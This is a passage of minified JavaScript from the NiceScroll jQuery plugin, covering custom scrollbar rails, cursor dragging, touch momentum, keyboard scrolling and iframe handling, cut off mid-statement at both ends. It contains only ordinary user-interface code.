Date).getTime();this.df=this.ed-this.st};D.prototype={B2:function(a){return 3*a*a*(1-a)},B3:function(a){return 3*a*(1-a)*(1-a)},B4:function(a){return(1-a)*(1-a)*(1-a)},getNow:function(){var a=1-((new Date).getTime()-this.ts)/this.spd,g=this.B2(a)+this.B3(a)+this.B4(a);return 0>a?this.ed:this.st+Math.round(this.df*g)},update:function(a,g){this.st=this.getNow();this.ed=a;this.spd=g;this.ts=(new Date).getTime(); +this.df=this.ed-this.st;return this}};if(this.ishwscroll){this.doc.translate={x:0,y:0,tx:"0px",ty:"0px"};e.hastranslate3d&&e.isios&&this.doc.css("-webkit-backface-visibility","hidden");this.getScrollTop=function(b){if(!b){if(b=k())return 16==b.length?-b[13]:-b[5];if(a.timerscroll&&a.timerscroll.bz)return a.timerscroll.bz.getNow()}return a.doc.translate.y};this.getScrollLeft=function(b){if(!b){if(b=k())return 16==b.length?-b[12]:-b[4];if(a.timerscroll&&a.timerscroll.bh)return a.timerscroll.bh.getNow()}return a.doc.translate.x}; +this.notifyScrollEvent=function(a){var g=document.createEvent("UIEvents");g.initUIEvent("scroll",!1,!0,window,1);g.niceevent=!0;a.dispatchEvent(g)};var y=this.isrtlmode?1:-1;e.hastranslate3d&&a.opt.enabletranslate3d?(this.setScrollTop=function(b,g){a.doc.translate.y=b;a.doc.translate.ty=-1*b+"px";a.doc.css(e.trstyle,"translate3d("+a.doc.translate.tx+","+a.doc.translate.ty+",0px)");g||a.notifyScrollEvent(a.win[0])},this.setScrollLeft=function(b,g){a.doc.translate.x=b;a.doc.translate.tx=b*y+"px";a.doc.css(e.trstyle, +"translate3d("+a.doc.translate.tx+","+a.doc.translate.ty+",0px)");g||a.notifyScrollEvent(a.win[0])}):(this.setScrollTop=function(b,g){a.doc.translate.y=b;a.doc.translate.ty=-1*b+"px";a.doc.css(e.trstyle,"translate("+a.doc.translate.tx+","+a.doc.translate.ty+")");g||a.notifyScrollEvent(a.win[0])},this.setScrollLeft=function(b,g){a.doc.translate.x=b;a.doc.translate.tx=b*y+"px";a.doc.css(e.trstyle,"translate("+a.doc.translate.tx+","+a.doc.translate.ty+")");g||a.notifyScrollEvent(a.win[0])})}else this.getScrollTop= +function(){return a.docscroll.scrollTop()},this.setScrollTop=function(b){return setTimeout(function(){a&&a.docscroll.scrollTop(b)},1)},this.getScrollLeft=function(){return a.hasreversehr?a.detected.ismozilla?a.page.maxw-Math.abs(a.docscroll.scrollLeft()):a.page.maxw-a.docscroll.scrollLeft():a.docscroll.scrollLeft()},this.setScrollLeft=function(b){return setTimeout(function(){if(a)return a.hasreversehr&&(b=a.detected.ismozilla?-(a.page.maxw-b):a.page.maxw-b),a.docscroll.scrollLeft(b)},1)};this.getTarget= +function(a){return a?a.target?a.target:a.srcElement?a.srcElement:!1:!1};this.hasParent=function(a,g){if(!a)return!1;for(var c=a.target||a.srcElement||a||!1;c&&c.id!=g;)c=c.parentNode||!1;return!1!==c};var z={thin:1,medium:3,thick:5};this.getDocumentScrollOffset=function(){return{top:window.pageYOffset||document.documentElement.scrollTop,left:window.pageXOffset||document.documentElement.scrollLeft}};this.getOffset=function(){if(a.isfixed){var b=a.win.offset(),g=a.getDocumentScrollOffset();b.top-=g.top; +b.left-=g.left;return b}b=a.win.offset();if(!a.viewport)return b;g=a.viewport.offset();return{top:b.top-g.top,left:b.left-g.left}};this.updateScrollBar=function(b){var g,c,e;if(a.ishwscroll)a.rail.css({height:a.win.innerHeight()-(a.opt.railpadding.top+a.opt.railpadding.bottom)}),a.railh&&a.railh.css({width:a.win.innerWidth()-(a.opt.railpadding.left+a.opt.railpadding.right)});else{var f=a.getOffset();g=f.top;c=f.left-(a.opt.railpadding.left+a.opt.railpadding.right);g+=d(a.win,"border-top-width",!0); +c+=a.rail.align?a.win.outerWidth()-d(a.win,"border-right-width")-a.rail.width:d(a.win,"border-left-width");if(e=a.opt.railoffset)e.top&&(g+=e.top),e.left&&(c+=e.left);a.railslocked||a.rail.css({top:g,left:c,height:(b?b.h:a.win.innerHeight())-(a.opt.railpadding.top+a.opt.railpadding.bottom)});a.zoom&&a.zoom.css({top:g+1,left:1==a.rail.align?c-20:c+a.rail.width+4});if(a.railh&&!a.railslocked){g=f.top;c=f.left;if(e=a.opt.railhoffset)e.top&&(g+=e.top),e.left&&(c+=e.left);b=a.railh.align?g+d(a.win,"border-top-width", +!0)+a.win.innerHeight()-a.railh.height:g+d(a.win,"border-top-width",!0);c+=d(a.win,"border-left-width");a.railh.css({top:b-(a.opt.railpadding.top+a.opt.railpadding.bottom),left:c,width:a.railh.width})}}};this.doRailClick=function(b,g,c){var d;a.railslocked||(a.cancelEvent(b),g?(g=c?a.doScrollLeft:a.doScrollTop,d=c?(b.pageX-a.railh.offset().left-a.cursorwidth/2)*a.scrollratio.x:(b.pageY-a.rail.offset().top-a.cursorheight/2)*a.scrollratio.y,g(d)):(g=c?a.doScrollLeftBy:a.doScrollBy,d=c?a.scroll.x:a.scroll.y, +b=c?b.pageX-a.railh.offset().left:b.pageY-a.rail.offset().top,c=c?a.view.w:a.view.h,g(d>=b?c:-c)))};a.hasanimationframe=v;a.hascancelanimationframe=w;a.hasanimationframe?a.hascancelanimationframe||(w=function(){a.cancelAnimationFrame=!0}):(v=function(a){return setTimeout(a,15-Math.floor(+new Date/1E3)%16)},w=clearTimeout);this.init=function(){a.saved.css=[];if(e.isie7mobile||e.isoperamini)return!0;e.hasmstouch&&a.css(a.ispage?f("html"):a.win,{_touchaction:"none"});var b=e.ismodernie||e.isie10?{"-ms-overflow-style":"none"}: +{"overflow-y":"hidden"};a.zindex="auto";a.zindex=a.ispage||"auto"!=a.opt.zindex?a.opt.zindex:l()||"auto";!a.ispage&&"auto"!=a.zindex&&a.zindex>A&&(A=a.zindex);a.isie&&0==a.zindex&&"auto"==a.opt.zindex&&(a.zindex="auto");if(!a.ispage||!e.cantouch&&!e.isieold&&!e.isie9mobile){var c=a.docscroll;a.ispage&&(c=a.haswrapper?a.win:a.doc);e.isie9mobile||a.css(c,b);a.ispage&&e.isie7&&("BODY"==a.doc[0].nodeName?a.css(f("html"),{"overflow-y":"hidden"}):"HTML"==a.doc[0].nodeName&&a.css(f("body"),b));!e.isios|| +a.ispage||a.haswrapper||a.css(f("body"),{"-webkit-overflow-scrolling":"touch"});var d=f(document.createElement("div"));d.css({position:"relative",top:0,"float":"right",width:a.opt.cursorwidth,height:0,"background-color":a.opt.cursorcolor,border:a.opt.cursorborder,"background-clip":"padding-box","-webkit-border-radius":a.opt.cursorborderradius,"-moz-border-radius":a.opt.cursorborderradius,"border-radius":a.opt.cursorborderradius});d.hborder=parseFloat(d.outerHeight()-d.innerHeight());d.addClass("nicescroll-cursors"); +a.cursor=d;var m=f(document.createElement("div"));m.attr("id",a.id);m.addClass("nicescroll-rails nicescroll-rails-vr");var k,h,p=["left","right","top","bottom"],L;for(L in p)h=p[L],(k=a.opt.railpadding[h])?m.css("padding-"+h,k+"px"):a.opt.railpadding[h]=0;m.append(d);m.width=Math.max(parseFloat(a.opt.cursorwidth),d.outerWidth());m.css({width:m.width+"px",zIndex:a.zindex,background:a.opt.background,cursor:"default"});m.visibility=!0;m.scrollable=!0;m.align="left"==a.opt.railalign?0:1;a.rail=m;d=a.rail.drag= +!1;!a.opt.boxzoom||a.ispage||e.isieold||(d=document.createElement("div"),a.bind(d,"click",a.doZoom),a.bind(d,"mouseenter",function(){a.zoom.css("opacity",a.opt.cursoropacitymax)}),a.bind(d,"mouseleave",function(){a.zoom.css("opacity",a.opt.cursoropacitymin)}),a.zoom=f(d),a.zoom.css({cursor:"pointer",zIndex:a.zindex,backgroundImage:"url("+a.opt.scriptpath+"zoomico.png)",height:18,width:18,backgroundPosition:"0px 0px"}),a.opt.dblclickzoom&&a.bind(a.win,"dblclick",a.doZoom),e.cantouch&&a.opt.gesturezoom&& +(a.ongesturezoom=function(b){1.5<b.scale&&a.doZoomIn(b);.8>b.scale&&a.doZoomOut(b);return a.cancelEvent(b)},a.bind(a.win,"gestureend",a.ongesturezoom)));a.railh=!1;var n;a.opt.horizrailenabled&&(a.css(c,{overflowX:"hidden"}),d=f(document.createElement("div")),d.css({position:"absolute",top:0,height:a.opt.cursorwidth,width:0,backgroundColor:a.opt.cursorcolor,border:a.opt.cursorborder,backgroundClip:"padding-box","-webkit-border-radius":a.opt.cursorborderradius,"-moz-border-radius":a.opt.cursorborderradius, +"border-radius":a.opt.cursorborderradius}),e.isieold&&d.css("overflow","hidden"),d.wborder=parseFloat(d.outerWidth()-d.innerWidth()),d.addClass("nicescroll-cursors"),a.cursorh=d,n=f(document.createElement("div")),n.attr("id",a.id+"-hr"),n.addClass("nicescroll-rails nicescroll-rails-hr"),n.height=Math.max(parseFloat(a.opt.cursorwidth),d.outerHeight()),n.css({height:n.height+"px",zIndex:a.zindex,background:a.opt.background}),n.append(d),n.visibility=!0,n.scrollable=!0,n.align="top"==a.opt.railvalign? +0:1,a.railh=n,a.railh.drag=!1);a.ispage?(m.css({position:"fixed",top:0,height:"100%"}),m.align?m.css({right:0}):m.css({left:0}),a.body.append(m),a.railh&&(n.css({position:"fixed",left:0,width:"100%"}),n.align?n.css({bottom:0}):n.css({top:0}),a.body.append(n))):(a.ishwscroll?("static"==a.win.css("position")&&a.css(a.win,{position:"relative"}),c="HTML"==a.win[0].nodeName?a.body:a.win,f(c).scrollTop(0).scrollLeft(0),a.zoom&&(a.zoom.css({position:"absolute",top:1,right:0,"margin-right":m.width+4}),c.append(a.zoom)), +m.css({position:"absolute",top:0}),m.align?m.css({right:0}):m.css({left:0}),c.append(m),n&&(n.css({position:"absolute",left:0,bottom:0}),n.align?n.css({bottom:0}):n.css({top:0}),c.append(n))):(a.isfixed="fixed"==a.win.css("position"),c=a.isfixed?"fixed":"absolute",a.isfixed||(a.viewport=a.getViewport(a.win[0])),a.viewport&&(a.body=a.viewport,0==/fixed|absolute/.test(a.viewport.css("position"))&&a.css(a.viewport,{position:"relative"})),m.css({position:c}),a.zoom&&a.zoom.css({position:c}),a.updateScrollBar(), +a.body.append(m),a.zoom&&a.body.append(a.zoom),a.railh&&(n.css({position:c}),a.body.append(n))),e.isios&&a.css(a.win,{"-webkit-tap-highlight-color":"rgba(0,0,0,0)","-webkit-touch-callout":"none"}),e.isie&&a.opt.disableoutline&&a.win.attr("hideFocus","true"),e.iswebkit&&a.opt.disableoutline&&a.win.css("outline","none"));!1===a.opt.autohidemode?(a.autohidedom=!1,a.rail.css({opacity:a.opt.cursoropacitymax}),a.railh&&a.railh.css({opacity:a.opt.cursoropacitymax})):!0===a.opt.autohidemode||"leave"===a.opt.autohidemode? +(a.autohidedom=f().add(a.rail),e.isie8&&(a.autohidedom=a.autohidedom.add(a.cursor)),a.railh&&(a.autohidedom=a.autohidedom.add(a.railh)),a.railh&&e.isie8&&(a.autohidedom=a.autohidedom.add(a.cursorh))):"scroll"==a.opt.autohidemode?(a.autohidedom=f().add(a.rail),a.railh&&(a.autohidedom=a.autohidedom.add(a.railh))):"cursor"==a.opt.autohidemode?(a.autohidedom=f().add(a.cursor),a.railh&&(a.autohidedom=a.autohidedom.add(a.cursorh))):"hidden"==a.opt.autohidemode&&(a.autohidedom=!1,a.hide(),a.railslocked= +!1);if(e.isie9mobile)a.scrollmom=new M(a),a.onmangotouch=function(){var b=a.getScrollTop(),c=a.getScrollLeft();if(b==a.scrollmom.lastscrolly&&c==a.scrollmom.lastscrollx)return!0;var g=b-a.mangotouch.sy,d=c-a.mangotouch.sx;if(0!=Math.round(Math.sqrt(Math.pow(d,2)+Math.pow(g,2)))){var e=0>g?-1:1,f=0>d?-1:1,u=+new Date;a.mangotouch.lazy&&clearTimeout(a.mangotouch.lazy);80<u-a.mangotouch.tm||a.mangotouch.dry!=e||a.mangotouch.drx!=f?(a.scrollmom.stop(),a.scrollmom.reset(c,b),a.mangotouch.sy=b,a.mangotouch.ly= +b,a.mangotouch.sx=c,a.mangotouch.lx=c,a.mangotouch.dry=e,a.mangotouch.drx=f,a.mangotouch.tm=u):(a.scrollmom.stop(),a.scrollmom.update(a.mangotouch.sx-d,a.mangotouch.sy-g),a.mangotouch.tm=u,g=Math.max(Math.abs(a.mangotouch.ly-b),Math.abs(a.mangotouch.lx-c)),a.mangotouch.ly=b,a.mangotouch.lx=c,2<g&&(a.mangotouch.lazy=setTimeout(function(){a.mangotouch.lazy=!1;a.mangotouch.dry=0;a.mangotouch.drx=0;a.mangotouch.tm=0;a.scrollmom.doMomentum(30)},100)))}},m=a.getScrollTop(),n=a.getScrollLeft(),a.mangotouch= +{sy:m,ly:m,dry:0,sx:n,lx:n,drx:0,lazy:!1,tm:0},a.bind(a.docscroll,"scroll",a.onmangotouch);else{if(e.cantouch||a.istouchcapable||a.opt.touchbehavior||e.hasmstouch){a.scrollmom=new M(a);a.ontouchstart=function(b){if(b.pointerType&&2!=b.pointerType&&"touch"!=b.pointerType)return!1;a.hasmoving=!1;if(!a.railslocked){var c;if(e.hasmstouch)for(c=b.target?b.target:!1;c;){var g=f(c).getNiceScroll();if(0<g.length&&g[0].me==a.me)break;if(0<g.length)return!1;if("DIV"==c.nodeName&&c.id==a.id)break;c=c.parentNode? +c.parentNode:!1}a.cancelScroll();if((c=a.getTarget(b))&&/INPUT/i.test(c.nodeName)&&/range/i.test(c.type))return a.stopPropagation(b);!("clientX"in b)&&"changedTouches"in b&&(b.clientX=b.changedTouches[0].clientX,b.clientY=b.changedTouches[0].clientY);a.forcescreen&&(g=b,b={original:b.original?b.original:b},b.clientX=g.screenX,b.clientY=g.screenY);a.rail.drag={x:b.clientX,y:b.clientY,sx:a.scroll.x,sy:a.scroll.y,st:a.getScrollTop(),sl:a.getScrollLeft(),pt:2,dl:!1};if(a.ispage||!a.opt.directionlockdeadzone)a.rail.drag.dl= +"f";else{var g=f(window).width(),d=f(window).height(),d=Math.max(0,Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)-d),g=Math.max(0,Math.max(document.body.scrollWidth,document.documentElement.scrollWidth)-g);a.rail.drag.ck=!a.rail.scrollable&&a.railh.scrollable?0<d?"v":!1:a.rail.scrollable&&!a.railh.scrollable?0<g?"h":!1:!1;a.rail.drag.ck||(a.rail.drag.dl="f")}a.opt.touchbehavior&&a.isiframe&&e.isie&&(g=a.win.position(),a.rail.drag.x+=g.left,a.rail.drag.y+=g.top);a.hasmoving= +!1;a.lastmouseup=!1;a.scrollmom.reset(b.clientX,b.clientY);if(!e.cantouch&&!this.istouchcapable&&!b.pointerType){if(!c||!/INPUT|SELECT|TEXTAREA/i.test(c.nodeName))return!a.ispage&&e.hasmousecapture&&c.setCapture(),a.opt.touchbehavior?(c.onclick&&!c._onclick&&(c._onclick=c.onclick,c.onclick=function(b){if(a.hasmoving)return!1;c._onclick.call(this,b)}),a.cancelEvent(b)):a.stopPropagation(b);/SUBMIT|CANCEL|BUTTON/i.test(f(c).attr("type"))&&(pc={tg:c,click:!1},a.preventclick=pc)}}};a.ontouchend=function(b){if(!a.rail.drag)return!0; +if(2==a.rail.drag.pt){if(b.pointerType&&2!=b.pointerType&&"touch"!=b.pointerType)return!1;a.scrollmom.doMomentum();a.rail.drag=!1;if(a.hasmoving&&(a.lastmouseup=!0,a.hideCursor(),e.hasmousecapture&&document.releaseCapture(),!e.cantouch))return a.cancelEvent(b)}else if(1==a.rail.drag.pt)return a.onmouseup(b)};var q=a.opt.touchbehavior&&a.isiframe&&!e.hasmousecapture;a.ontouchmove=function(b,c){if(!a.rail.drag||b.targetTouches&&a.opt.preventmultitouchscrolling&&1<b.targetTouches.length||b.pointerType&& +2!=b.pointerType&&"touch"!=b.pointerType)return!1;if(2==a.rail.drag.pt){if(e.cantouch&&e.isios&&void 0===b.original)return!0;a.hasmoving=!0;a.preventclick&&!a.preventclick.click&&(a.preventclick.click=a.preventclick.tg.onclick||!1,a.preventclick.tg.onclick=a.onpreventclick);b=f.extend({original:b},b);"changedTouches"in b&&(b.clientX=b.changedTouches[0].clientX,b.clientY=b.changedTouches[0].clientY);if(a.forcescreen){var g=b;b={original:b.original?b.original:b};b.clientX=g.screenX;b.clientY=g.screenY}var d, +g=d=0;q&&!c&&(d=a.win.position(),g=-d.left,d=-d.top);var u=b.clientY+d;d=u-a.rail.drag.y;var m=b.clientX+g,k=m-a.rail.drag.x,h=a.rail.drag.st-d;a.ishwscroll&&a.opt.bouncescroll?0>h?h=Math.round(h/2):h>a.page.maxh&&(h=a.page.maxh+Math.round((h-a.page.maxh)/2)):(0>h&&(u=h=0),h>a.page.maxh&&(h=a.page.maxh,u=0));var l;a.railh&&a.railh.scrollable&&(l=a.isrtlmode?k-a.rail.drag.sl:a.rail.drag.sl-k,a.ishwscroll&&a.opt.bouncescroll?0>l?l=Math.round(l/2):l>a.page.maxw&&(l=a.page.maxw+Math.round((l-a.page.maxw)/ +2)):(0>l&&(m=l=0),l>a.page.maxw&&(l=a.page.maxw,m=0)));g=!1;if(a.rail.drag.dl)g=!0,"v"==a.rail.drag.dl?l=a.rail.drag.sl:"h"==a.rail.drag.dl&&(h=a.rail.drag.st);else{d=Math.abs(d);var k=Math.abs(k),C=a.opt.directionlockdeadzone;if("v"==a.rail.drag.ck){if(d>C&&k<=.3*d)return a.rail.drag=!1,!0;k>C&&(a.rail.drag.dl="f",f("body").scrollTop(f("body").scrollTop()))}else if("h"==a.rail.drag.ck){if(k>C&&d<=.3*k)return a.rail.drag=!1,!0;d>C&&(a.rail.drag.dl="f",f("body").scrollLeft(f("body").scrollLeft()))}}a.synched("touchmove", +function(){a.rail.drag&&2==a.rail.drag.pt&&(a.prepareTransition&&a.prepareTransition(0),a.rail.scrollable&&a.setScrollTop(h),a.scrollmom.update(m,u),a.railh&&a.railh.scrollable?(a.setScrollLeft(l),a.showCursor(h,l)):a.showCursor(h),e.isie10&&document.selection.clear())});e.ischrome&&a.istouchcapable&&(g=!1);if(g)return a.cancelEvent(b)}else if(1==a.rail.drag.pt)return a.onmousemove(b)}}a.onmousedown=function(b,c){if(!a.rail.drag||1==a.rail.drag.pt){if(a.railslocked)return a.cancelEvent(b);a.cancelScroll(); +a.rail.drag={x:b.clientX,y:b.clientY,sx:a.scroll.x,sy:a.scroll.y,pt:1,hr:!!c};var g=a.getTarget(b);!a.ispage&&e.hasmousecapture&&g.setCapture();a.isiframe&&!e.hasmousecapture&&(a.saved.csspointerevents=a.doc.css("pointer-events"),a.css(a.doc,{"pointer-events":"none"}));a.hasmoving=!1;return a.cancelEvent(b)}};a.onmouseup=function(b){if(a.rail.drag){if(1!=a.rail.drag.pt)return!0;e.hasmousecapture&&document.releaseCapture();a.isiframe&&!e.hasmousecapture&&a.doc.css("pointer-events",a.saved.csspointerevents); +a.rail.drag=!1;a.hasmoving&&a.triggerScrollEnd();return a.cancelEvent(b)}};a.onmousemove=function(b){if(a.rail.drag){if(1==a.rail.drag.pt){if(e.ischrome&&0==b.which)return a.onmouseup(b);a.cursorfreezed=!0;a.hasmoving=!0;if(a.rail.drag.hr){a.scroll.x=a.rail.drag.sx+(b.clientX-a.rail.drag.x);0>a.scroll.x&&(a.scroll.x=0);var c=a.scrollvaluemaxw;a.scroll.x>c&&(a.scroll.x=c)}else a.scroll.y=a.rail.drag.sy+(b.clientY-a.rail.drag.y),0>a.scroll.y&&(a.scroll.y=0),c=a.scrollvaluemax,a.scroll.y>c&&(a.scroll.y= +c);a.synched("mousemove",function(){a.rail.drag&&1==a.rail.drag.pt&&(a.showCursor(),a.rail.drag.hr?a.hasreversehr?a.doScrollLeft(a.scrollvaluemaxw-Math.round(a.scroll.x*a.scrollratio.x),a.opt.cursordragspeed):a.doScrollLeft(Math.round(a.scroll.x*a.scrollratio.x),a.opt.cursordragspeed):a.doScrollTop(Math.round(a.scroll.y*a.scrollratio.y),a.opt.cursordragspeed))});return a.cancelEvent(b)}}else a.checkarea=0};if(e.cantouch||a.opt.touchbehavior)a.onpreventclick=function(b){if(a.preventclick)return a.preventclick.tg.onclick= +a.preventclick.click,a.preventclick=!1,a.cancelEvent(b)},a.bind(a.win,"mousedown",a.ontouchstart),a.onclick=e.isios?!1:function(b){return a.lastmouseup?(a.lastmouseup=!1,a.cancelEvent(b)):!0},a.opt.grabcursorenabled&&e.cursorgrabvalue&&(a.css(a.ispage?a.doc:a.win,{cursor:e.cursorgrabvalue}),a.css(a.rail,{cursor:e.cursorgrabvalue}));else{var r=function(b){if(a.selectiondrag){if(b){var c=a.win.outerHeight();b=b.pageY-a.selectiondrag.top;0<b&&b<c&&(b=0);b>=c&&(b-=c);a.selectiondrag.df=b}0!=a.selectiondrag.df&& +(a.doScrollBy(2*-Math.floor(a.selectiondrag.df/6)),a.debounced("doselectionscroll",function(){r()},50))}};a.hasTextSelected="getSelection"in document?function(){return 0<document.getSelection().rangeCount}:"selection"in document?function(){return"None"!=document.selection.type}:function(){return!1};a.onselectionstart=function(b){a.ispage||(a.selectiondrag=a.win.offset())};a.onselectionend=function(b){a.selectiondrag=!1};a.onselectiondrag=function(b){a.selectiondrag&&a.hasTextSelected()&&a.debounced("selectionscroll", +function(){r(b)},250)}}e.hasw3ctouch?(a.css(a.rail,{"touch-action":"none"}),a.css(a.cursor,{"touch-action":"none"}),a.bind(a.win,"pointerdown",a.ontouchstart),a.bind(document,"pointerup",a.ontouchend),a.bind(document,"pointermove",a.ontouchmove)):e.hasmstouch?(a.css(a.rail,{"-ms-touch-action":"none"}),a.css(a.cursor,{"-ms-touch-action":"none"}),a.bind(a.win,"MSPointerDown",a.ontouchstart),a.bind(document,"MSPointerUp",a.ontouchend),a.bind(document,"MSPointerMove",a.ontouchmove),a.bind(a.cursor,"MSGestureHold", +function(a){a.preventDefault()}),a.bind(a.cursor,"contextmenu",function(a){a.preventDefault()})):this.istouchcapable&&(a.bind(a.win,"touchstart",a.ontouchstart),a.bind(document,"touchend",a.ontouchend),a.bind(document,"touchcancel",a.ontouchend),a.bind(document,"touchmove",a.ontouchmove));if(a.opt.cursordragontouch||!e.cantouch&&!a.opt.touchbehavior)a.rail.css({cursor:"default"}),a.railh&&a.railh.css({cursor:"default"}),a.jqbind(a.rail,"mouseenter",function(){if(!a.ispage&&!a.win.is(":visible"))return!1; +a.canshowonmouseevent&&a.showCursor();a.rail.active=!0}),a.jqbind(a.rail,"mouseleave",function(){a.rail.active=!1;a.rail.drag||a.hideCursor()}),a.opt.sensitiverail&&(a.bind(a.rail,"click",function(b){a.doRailClick(b,!1,!1)}),a.bind(a.rail,"dblclick",function(b){a.doRailClick(b,!0,!1)}),a.bind(a.cursor,"click",function(b){a.cancelEvent(b)}),a.bind(a.cursor,"dblclick",function(b){a.cancelEvent(b)})),a.railh&&(a.jqbind(a.railh,"mouseenter",function(){if(!a.ispage&&!a.win.is(":visible"))return!1;a.canshowonmouseevent&& +a.showCursor();a.rail.active=!0}),a.jqbind(a.railh,"mouseleave",function(){a.rail.active=!1;a.rail.drag||a.hideCursor()}),a.opt.sensitiverail&&(a.bind(a.railh,"click",function(b){a.doRailClick(b,!1,!0)}),a.bind(a.railh,"dblclick",function(b){a.doRailClick(b,!0,!0)}),a.bind(a.cursorh,"click",function(b){a.cancelEvent(b)}),a.bind(a.cursorh,"dblclick",function(b){a.cancelEvent(b)})));e.cantouch||a.opt.touchbehavior?(a.bind(e.hasmousecapture?a.win:document,"mouseup",a.ontouchend),a.bind(document,"mousemove", +a.ontouchmove),a.onclick&&a.bind(document,"click",a.onclick),a.opt.cursordragontouch?(a.bind(a.cursor,"mousedown",a.onmousedown),a.bind(a.cursor,"mouseup",a.onmouseup),a.cursorh&&a.bind(a.cursorh,"mousedown",function(b){a.onmousedown(b,!0)}),a.cursorh&&a.bind(a.cursorh,"mouseup",a.onmouseup)):(a.bind(a.rail,"mousedown",function(a){a.preventDefault()}),a.railh&&a.bind(a.railh,"mousedown",function(a){a.preventDefault()}))):(a.bind(e.hasmousecapture?a.win:document,"mouseup",a.onmouseup),a.bind(document, +"mousemove",a.onmousemove),a.onclick&&a.bind(document,"click",a.onclick),a.bind(a.cursor,"mousedown",a.onmousedown),a.bind(a.cursor,"mouseup",a.onmouseup),a.railh&&(a.bind(a.cursorh,"mousedown",function(b){a.onmousedown(b,!0)}),a.bind(a.cursorh,"mouseup",a.onmouseup)),!a.ispage&&a.opt.enablescrollonselection&&(a.bind(a.win[0],"mousedown",a.onselectionstart),a.bind(document,"mouseup",a.onselectionend),a.bind(a.cursor,"mouseup",a.onselectionend),a.cursorh&&a.bind(a.cursorh,"mouseup",a.onselectionend), +a.bind(document,"mousemove",a.onselectiondrag)),a.zoom&&(a.jqbind(a.zoom,"mouseenter",function(){a.canshowonmouseevent&&a.showCursor();a.rail.active=!0}),a.jqbind(a.zoom,"mouseleave",function(){a.rail.active=!1;a.rail.drag||a.hideCursor()})));a.opt.enablemousewheel&&(a.isiframe||a.mousewheel(e.isie&&a.ispage?document:a.win,a.onmousewheel),a.mousewheel(a.rail,a.onmousewheel),a.railh&&a.mousewheel(a.railh,a.onmousewheelhr));a.ispage||e.cantouch||/HTML|^BODY/.test(a.win[0].nodeName)||(a.win.attr("tabindex")|| +a.win.attr({tabindex:O++}),a.jqbind(a.win,"focus",function(b){B=a.getTarget(b).id||!0;a.hasfocus=!0;a.canshowonmouseevent&&a.noticeCursor()}),a.jqbind(a.win,"blur",function(b){B=!1;a.hasfocus=!1}),a.jqbind(a.win,"mouseenter",function(b){F=a.getTarget(b).id||!0;a.hasmousefocus=!0;a.canshowonmouseevent&&a.noticeCursor()}),a.jqbind(a.win,"mouseleave",function(){F=!1;a.hasmousefocus=!1;a.rail.drag||a.hideCursor()}))}a.onkeypress=function(b){if(a.railslocked&&0==a.page.maxh)return!0;b=b?b:window.e;var c= +a.getTarget(b);if(c&&/INPUT|TEXTAREA|SELECT|OPTION/.test(c.nodeName)&&(!c.getAttribute("type")&&!c.type||!/submit|button|cancel/i.tp)||f(c).attr("contenteditable"))return!0;if(a.hasfocus||a.hasmousefocus&&!B||a.ispage&&!B&&!F){c=b.keyCode;if(a.railslocked&&27!=c)return a.cancelEvent(b);var g=b.ctrlKey||!1,d=b.shiftKey||!1,e=!1;switch(c){case 38:case 63233:a.doScrollBy(72);e=!0;break;case 40:case 63235:a.doScrollBy(-72);e=!0;break;case 37:case 63232:a.railh&&(g?a.doScrollLeft(0):a.doScrollLeftBy(72), +e=!0);break;case 39:case 63234:a.railh&&(g?a.doScrollLeft(a.page.maxw):a.doScrollLeftBy(-72),e=!0);break;case 33:case 63276:a.doScrollBy(a.view.h);e=!0;break;case 34:case 63277:a.doScrollBy(-a.view.h);e=!0;break;case 36:case 63273:a.railh&&g?a.doScrollPos(0,0):a.doScrollTo(0);e=!0;break;case 35:case 63275:a.railh&&g?a.doScrollPos(a.page.maxw,a.page.maxh):a.doScrollTo(a.page.maxh);e=!0;break;case 32:a.opt.spacebarenabled&&(d?a.doScrollBy(a.view.h):a.doScrollBy(-a.view.h),e=!0);break;case 27:a.zoomactive&& +(a.doZoom(),e=!0)}if(e)return a.cancelEvent(b)}};a.opt.enablekeyboard&&a.bind(document,e.isopera&&!e.isopera12?"keypress":"keydown",a.onkeypress);a.bind(document,"keydown",function(b){b.ctrlKey&&(a.wheelprevented=!0)});a.bind(document,"keyup",function(b){b.ctrlKey||(a.wheelprevented=!1)});a.bind(window,"blur",function(b){a.wheelprevented=!1});a.bind(window,"resize",a.lazyResize);a.bind(window,"orientationchange",a.lazyResize);a.bind(window,"load",a.lazyResize);if(e.ischrome&&!a.ispage&&!a.haswrapper){var t= +a.win.attr("style"),m=parseFloat(a.win.css("width"))+1;a.win.css("width",m);a.synched("chromefix",function(){a.win.attr("style",t)})}a.onAttributeChange=function(b){a.lazyResize(a.isieold?250:30)};a.isie11||!1===x||(a.observerbody=new x(function(b){b.forEach(function(b){if("attributes"==b.type)return f("body").hasClass("modal-open")&&f("body").hasClass("modal-dialog")&&!f.contains(f(".modal-dialog")[0],a.doc[0])?a.hide():a.show()});if(document.body.scrollHeight!=a.page.maxh)return a.lazyResize(30)}), +a.observerbody.observe(document.body,{childList:!0,subtree:!0,characterData:!1,attributes:!0,attributeFilter:["class"]}));a.ispage||a.haswrapper||(!1!==x?(a.observer=new x(function(b){b.forEach(a.onAttributeChange)}),a.observer.observe(a.win[0],{childList:!0,characterData:!1,attributes:!0,subtree:!1}),a.observerremover=new x(function(b){b.forEach(function(b){if(0<b.removedNodes.length)for(var c in b.removedNodes)if(a&&b.removedNodes[c]==a.win[0])return a.remove()})}),a.observerremover.observe(a.win[0].parentNode, +{childList:!0,characterData:!1,attributes:!1,subtree:!1})):(a.bind(a.win,e.isie&&!e.isie9?"propertychange":"DOMAttrModified",a.onAttributeChange),e.isie9&&a.win[0].attachEvent("onpropertychange",a.onAttributeChange),a.bind(a.win,"DOMNodeRemoved",function(b){b.target==a.win[0]&&a.remove()})));!a.ispage&&a.opt.boxzoom&&a.bind(window,"resize",a.resizeZoom);a.istextarea&&(a.bind(a.win,"keydown",a.lazyResize),a.bind(a.win,"mouseup",a.lazyResize));a.lazyResize(30)}if("IFRAME"==this.doc[0].nodeName){var N= +function(){a.iframexd=!1;var c;try{c="contentDocument"in this?this.contentDocument:this.contentWindow.document}catch(g){a.iframexd=!0,c=!1}if(a.iframexd)return"console"in window&&console.log("NiceScroll error: policy restriced iframe"),!0;a.forcescreen=!0;a.isiframe&&(a.iframe={doc:f(c),html:a.doc.contents().find("html")[0],body:a.doc.contents().find("body")[0]},a.getContentSize=function(){return{w:Math.max(a.iframe.html.scrollWidth,a.iframe.body.scrollWidth),h:Math.max(a.iframe.html.scrollHeight, 